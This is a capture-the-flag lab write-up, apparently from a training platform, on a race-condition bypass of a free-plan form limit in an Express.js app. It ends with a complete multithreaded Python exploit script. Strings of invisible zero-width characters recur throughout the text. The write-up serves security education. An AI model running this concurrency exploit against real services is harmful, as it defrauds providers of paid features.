← Back to Writeups
CUSTOMMediumWeb

Lab 180 — FormForge — TOCTOU Race Condition in Form Creation

XESXOR9/10/20266 min read
#web#custom#medium#race_condition_exploitation#session_cookie_sharing#thread_barrier_synchronization#toctou_plan_limit_bypass

Lab 180 — FormForge — TOCTOU Race Condition in Form Creation

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_plan_limit_bypass

Summary

Task: Express.js form builder with free plan limited to 3 forms; premium analytics requires 5+ active forms. Solution: TOCTOU race condition in POST /api/forms — 50 concurrent requests bypass the non-atomic plan limit check, creating 5+ forms and unlocking the premium analytics API with the flag.

Lab 180 — FormForge — TOCTOU Race Condition in Form Creation — HackAdvisor

Description

FormForge is a form builder platform by Rivercrest Software. Free accounts can create up to 3 forms, manage submissions, and access basic analytics. Premium features like advanced insights are available for users who exceed certain thresholds.

Your goal is to explore the application and find a way to bypass the free tier restrictions. Sometimes business logic doesn't hold up under pressure — look for weaknesses in how resource limits are enforced.

Pay attention to how the application handles concurrent operations and think about what assumptions the server makes about request ordering.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js form builder application enforces a 3-form limit for free-tier users. Premium analytics (which contains the flag) requires 5 or more active forms. The goal is to bypass the plan limit and access the premium analytics endpoint to retrieve the flag from the premium_secret field.

Analysis

Application Reconnaissance

The application is an Express.js backend behind nginx/1.25.5, using connect.sid session cookies (express-session). Registration requires username, display_name, email, password, and confirm_password fields. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key endpoints discovered:

EndpointMethodPurpose
/registerPOSTCreate new account
/loginPOSTAuthenticate
/GETDashboard
/formsGETLists user's forms with create/delete UI
/api/formsPOSTCreate a new form (JSON: title, description)
/api/forms/:idDELETEDelete a form
/analyticsGETAnalytics page (premium gated)
/api/analytics/insightsGETAnalytics API returning premium_secret
/settingsGETAccount settings
/submissionsGETForm submissions
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Plan Enforcement Logic

  • Free plan: limited to 3 active forms
  • Premium analytics: requires 5 or more active forms to unlock
  • Analytics data: served via GET /api/analytics/insights — returns JSON with premium_secret field containing the flag when the user has 5+ forms

Identifying the Vulnerability

The JavaScript file /js/forms.js contained a revealing developer comment:

javascript
// TODO: the create endpoint should probably use a transaction for the limit check
// but it works fine for normal usage so not a priority right now

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When attempting to create a 4th form sequentially, the server correctly enforces the limit:

json
{
  "error": "Free plan limit reached",
  "message": "You have reached the maximum of 3 forms on the Free plan. Upgrade to Pro for unlimited forms.",
  "current": 3,
  "limit": 3
}

The form creation endpoint POST /api/forms follows a classic TOCTOU (Time-of-Check to Time-of-Use) pattern:

  1. CHECK: Server queries the database for the user's current form count
  2. COMPARE: Count is compared against the plan limit (3 for free tier)
  3. CREATE: If under limit, a new form is inserted into the database ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Steps 1–3 are not atomic — there is no database transaction, row lock, or mutex protecting the window between the count check and the insert. When multiple requests arrive simultaneously, they all read the same count (e.g., 0) and all pass the limit check before any of them increments the count.

Decoy Flags

Every page contains an HTML comment with a fake flag and prompt injection text designed to trick automated solvers:

html
<!-- FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} -->

This is a honeypot — the real flag is only accessible via the premium analytics API after bypassing the form limit. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Register a Fresh Account

A fresh account starts with 0 forms and a free plan (3-form limit). Starting from 0 maximizes the race window — all concurrent threads will see "0 forms" simultaneously and pass the limit check.

Step 2: Race Condition Exploit

Use Python's threading.Barrier to synchronize 50 threads. The barrier ensures all threads release their HTTP requests at the exact same instant, maximizing the chance that multiple requests pass the plan limit check before any form is committed to the database. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Each thread shares the same connect.sid session cookie but uses its own requests.Session to avoid connection pooling serialization:

python
barrier = threading.Barrier(num_threads, timeout=30)

def attack_thread(idx):
    s = requests.Session()
    s.cookies.update(cookies)  # Share the authenticated session
    barrier.wait()  # All threads release simultaneously
    resp = s.post(f"{BASE_URL}/api/forms",
        json={"title": f"Race Form {idx}", "description": f"Thread {idx}"},
        timeout=30)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Results

On the first run, 5 out of 50 threads successfully created forms — bypassing the 3-form limit. The remaining 45 threads hit the limit check after the first few forms were committed.

Typical success rate: 4–5 forms created per attempt (8–10% of threads win the race).

Step 4: Access Premium Analytics API

With 5+ forms (above the 5-form threshold), calling GET /api/analytics/insights returns the premium analytics data including the flag:

json
{
  "premium": true,
  "insights": {
    "premium_secret": "FLAG{REDACTED}",
    ...
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full Exploit Script

python
#!/usr/bin/env python3
"""FormForge Race Condition Exploit — bypass free plan 3-form limit via TOCTOU"""

import requests
import threading
import random
import string
import time
import re
import json
import urllib3
urllib3.disable_warnings()

BASE_URL = "https://TARGET.labs.hackadvisor.io"
NUM_THREADS = 50

def random_string(length=8):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def register_fresh_account():
    """Register a new account with 0 forms"""
    session = requests.Session()
    session.verify = False
    username = f"race_{random_string()}"
    email = f"{username}@test.com"
    password = "password123"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    resp = session.post(f"{BASE_URL}/register", data={
        "username": username,
        "display_name": f"Racer {username}",
        "email": email,
        "password": password,
        "confirm_password": password
    }, allow_redirects=False)

    if resp.status_code == 302 and 'connect.sid' in session.cookies.get_dict():
        print(f"[*] Registered: {username} - Got session cookie")
    return session

def race_create_forms(session, num_threads=NUM_THREADS):
    """Fire concurrent form creation requests"""
    cookies = dict(session.cookies)
    barrier = threading.Barrier(num_threads, timeout=30)
    results = []
    lock = threading.Lock()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    def attack_thread(idx):
        s = requests.Session()
        s.verify = False
        s.cookies.update(cookies)
        try:
            barrier.wait()  # All threads release simultaneously
            resp = s.post(
                f"{BASE_URL}/api/forms",
                json={"title": f"Race Form {idx}", "description": f"Thread {idx}"},
                timeout=30
            )
            data = resp.json()
            with lock:
                results.append({"thread": idx, "status": resp.status_code, "data": data})
                if resp.status_code in (200, 201):
                    print(f"  [+] Thread {idx}: Form created (ID: {data.get('form', {}).get('id', '?')})")
        except Exception as e:
            with lock:
                results.append({"thread": idx, "error": str(e)})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(num_threads)]
    for t in threads:
        t.start()
    for t in threads:
        t.join(timeout=45)

    successes = [r for r in results if r.get("status") in (200, 201)]
    print(f"[*] Created {len(successes)} forms out of {num_threads} attempts")
    return len(successes)

def get_flag(session):
    """Call the analytics API to get the premium secret (flag)"""
    resp = session.get(f"{BASE_URL}/api/analytics/insights")
    try:
        data = resp.json()
        if data.get("premium") and data.get("insights", {}).get("premium_secret"):
            secret = data["insights"]["premium_secret"]
            print(f"[!!!] PREMIUM SECRET: {secret}")
            return secret
    except:
        pass
    return None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def main():
    for attempt in range(10):
        print(f"\n--- Attempt {attempt + 1} ---")
        session = register_fresh_account()
        created = race_create_forms(session, NUM_THREADS)
        flag = get_flag(session)
        if flag:
            return flag
        if created < 5:
            print(f"[*] Only {created} forms. Need 5+. Retrying...")
        time.sleep(0.5)
    return None

if __name__ == "__main__":
    flag = main()
    if flag:
        print(f"\nFINAL FLAG: {flag}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍